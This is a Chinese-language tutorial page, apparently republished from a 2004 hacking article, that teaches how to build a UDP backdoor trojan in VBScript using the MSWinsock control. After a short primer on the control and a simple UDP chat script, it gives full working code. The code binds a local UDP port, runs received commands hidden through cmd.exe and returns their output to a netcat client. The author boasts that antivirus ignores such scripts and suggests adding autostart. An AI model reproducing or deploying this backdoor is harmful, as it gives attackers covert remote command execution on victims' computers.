主頁 > 知識庫 > VBS+MSWinsock打造靈巧UDP后門的相關資料

VBS+MSWinsock打造靈巧UDP后門的相關資料

熱門標簽:地圖標注都什么意思 福建醫(yī)療智能外呼系統(tǒng)哪家好 龍族幻想白銀異聞天使地圖標注 福建外呼系統(tǒng)購買 百度地圖標注的位置怎么更改 鴿森地圖標注 琿春電子地圖標注 菏澤電銷機器人管理軟件 聯(lián)通能辦理400電話是多少錢
大概在一年前,VBS腳本病毒又揭起一陣熱潮,一大群VBS病毒在互聯(lián)網(wǎng)上盛行。那時的VBS病毒幾乎都是用FSO、MAPI作為一個病毒傳染引擎,所以我就想,VBS可否訪問網(wǎng)絡呢?如果它也能進行端口的連接,那就神奇了。從此之后,我就努力去找有關VBS的網(wǎng)絡類的資料,可惜找了好久,什么收獲也沒有,直到一個月前高考結束了,我才可以靜下來搞這個東西,并終于有了一點進展。
現(xiàn)在分析一下VBS的運作原理吧。VBS的全稱是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來的一種面向?qū)ο蟮哪_本語言,所以它的語法與Visual Basic差不多,而且也是靠Object來實現(xiàn)它的其它高級功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運行就行了,所以這也是VBS腳本做黑客工具方面的特長之一:普通殺毒軟件不會對VBS感興趣。因為VBS是一種面向?qū)ο蟮哪_本語言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來創(chuàng)建引用,這可能是微軟公司的程序接口吧!也許用過VB編寫網(wǎng)絡程序的朋友也知道,用VB寫網(wǎng)絡程序大致有兩種:一是調(diào)用Windows的API函數(shù),二是用VB自帶的Winsock控件,也就是在Windows系統(tǒng)目錄中見到的“MSWinsock.ocx”。由于前者的API函數(shù)比較復雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒有留意到那個Winsock控件,其實它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網(wǎng)絡服務的方便途徑,為編寫客戶或服務器應用程序,不必了解TCP的細節(jié)或調(diào)用低級的Winsock APIs。通過設置控件的屬性并調(diào)用其方法就可輕易連接到一臺遠程機器上去,并且還可雙向交換數(shù)據(jù)。既然找到了訪問網(wǎng)絡的引擎,那如何來用呢?用法又是不和VB中那樣用呢?
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見到的,要在VBS上引用它當然是先創(chuàng)建它的對象。創(chuàng)建方法就像創(chuàng)建FSO等對像。新建一個文本文件,在里面寫入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存為*.vbs運行它,就可以看到注冊在你系統(tǒng)中的WinSock控件的有關信息。
怎能么樣?開心吧,別急,我下面會詳細講講。既然對象創(chuàng)建成功了,當然是要像VB中那樣用它了。在VBS中創(chuàng)建的WinScok不能像VB中那樣圖形介面那樣設置參數(shù)就行,是應該一步一個腳印來設置好你所創(chuàng)的是什么協(xié)議。在WinSock控件中要設置的協(xié)議是通過“Protocol”來設定的,如sock.Protocol=0 或 sock.Protocol=1。注意當“Protocol”的值為“0”時,所創(chuàng)建的協(xié)議是TCP;值為“1”時,則創(chuàng)建的是UDP。
我先介紹一下有關WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主機名
LocalIP //取得本地主機IP
SocketHandle //取得創(chuàng)建SOCK的句柄
RemotePort //設置或取得遠程端口
LocalPort //設置或取得本地端口
State //返回創(chuàng)建sock的對像狀態(tài)(代嗎如下){
0 缺省的。關閉 
1 打開 
2 偵聽 
3 連接掛起 
4 識別主機 
5 已識別主機 
6 正在連接 
7 已連接 
8 同級人員正在關閉連接 
9 錯誤 }
BytesReceived //返回接收到的(當前在接收端緩沖區(qū)內(nèi)的)數(shù)據(jù)的數(shù)量
Connect(RemoteHost,RemotePort) //建立遠程連接,RemoteHost遠程主機IP,RemotePort遠程主機端口
Listen //使SOCK偵聽
SendData/GetData //發(fā)送或接收數(shù)據(jù)
Close //關閉對像
Bind(LocalPort, LocalIP)//綁定本地端口。
那些基本的東西我講完了,下面我測試一下遠程主機會話吧(UDP),下面是一個VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//創(chuàng)建Winsock對像
set sock=createobject("MSWinsock.Winsock") 
//使用UDP協(xié)議
//建立連接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定義要發(fā)送的數(shù)據(jù)
sendata="Hello!!!"chr(13) 
//發(fā)送我們要發(fā)的數(shù)據(jù)
sock.senddata sendata 
do
//如果有數(shù)據(jù)回應就顯示它
if sock.BytesReceived>0 then 
//定義接收數(shù)據(jù)類型(數(shù)據(jù)類型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定義好要接收的數(shù)據(jù)類型才能收到數(shù)據(jù),不然會收到的是一堆亂碼;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","請輸入你要發(fā)的信息")
sock.senddata senddata  chr(13)
//當收到含有"exit"字串時結束VBS進程
if instr(revdata,"exit") then exit do
else
end if
loop
//關閉對像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”監(jiān)聽本地UDP端口1234,再運行剛編寫的VBS文件,看!我的NC有反應了。
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進程了。在NC里我們還可以發(fā)信息、聊天,怎么樣?一個簡單的UDP C/S已經(jīng)完成了。下面我再寫一個關于它的利用吧,既然它能訪問網(wǎng)絡,當然是用它的做個VBS木馬啦!老編們不會反對吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")

sock.Protocol=1 //這個當然是UDP協(xié)議的標識啦
sock.bind 1234 //綁定本地的UDP端口

Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\"  fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用綁定cmd的輸出
call sc.Run ("cmd.exe /c "  cmd  " > "  tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把輸出的文件讀入內(nèi)存,用SendData發(fā)送到客戶端
sock.senddata txf.readall  vbcrlf  vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版權喔
sock.senddata "--End--"  vbcrlf  "ForHelp exit:end|run:RunFileName>"  vbcrlf  "Maked by Attrib Data:2004.7.28"  vbcrlf  vbcrlf
end if
Loop
sock.senddata "連接已關閉!"  vbcrlf
sock.close
sock=nothings
-------------------
到此,代碼的基本架構已經(jīng)完成了,要想做一個全能的木馬可以在代碼里加上諸如開機自動運行等。由于VBS程序沒有設置出錯保護,可能一些錯誤的操作會出現(xiàn)程蹦潰,有興趣的朋友可以自己試試。用法是先把這個VBS后門運行在服務端,之后就用你的NC連,因為用的是UDP協(xié)議,NC的命令行是“NC –u IP Port”,記得要加上那個“-u”參數(shù)啊,之后就像WinShell一樣用就行了,下面是在我的機器里測試的截圖。


至于TCP如何編寫,道理也跟UDP差不多,我這里就不再多寫了,大家可以自己研究下。
如果有什么好的方法還可以和我一同研究。謝謝觀賞。
您可能感興趣的文章:
  • Linux下查找后門程序 CentOS 查后門程序的shell腳本
  • PHP隱形一句話后門,和ThinkPHP框架加密碼程序(base64_decode)
  • 利用wsc制作的一個asp后門
  • 變態(tài)入侵之有史以來最酷的Windows后門sethc.exe
  • VC++植物大戰(zhàn)僵尸中文版修改器實現(xiàn)代碼
  • C++動態(tài)規(guī)劃之最長公子序列實例
  • C++動態(tài)規(guī)劃之背包問題解決方法
  • C++實現(xiàn)基于控制臺界面的吃豆子游戲
  • C++映像劫持后門實例分析

標簽:南京 鶴壁 柳州 資質(zhì)掛靠 達州 內(nèi)蒙古 張掖 丹東

巨人網(wǎng)絡通訊聲明:本文標題《VBS+MSWinsock打造靈巧UDP后門的相關資料》,本文關鍵詞  VBS+MSWinsock,打造,靈巧,UDP,;如發(fā)現(xiàn)本文內(nèi)容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《VBS+MSWinsock打造靈巧UDP后門的相關資料》相關的同類信息!
  • 本頁收集關于VBS+MSWinsock打造靈巧UDP后門的相關資料的相關信息資訊供網(wǎng)民參考!
  • 推薦文章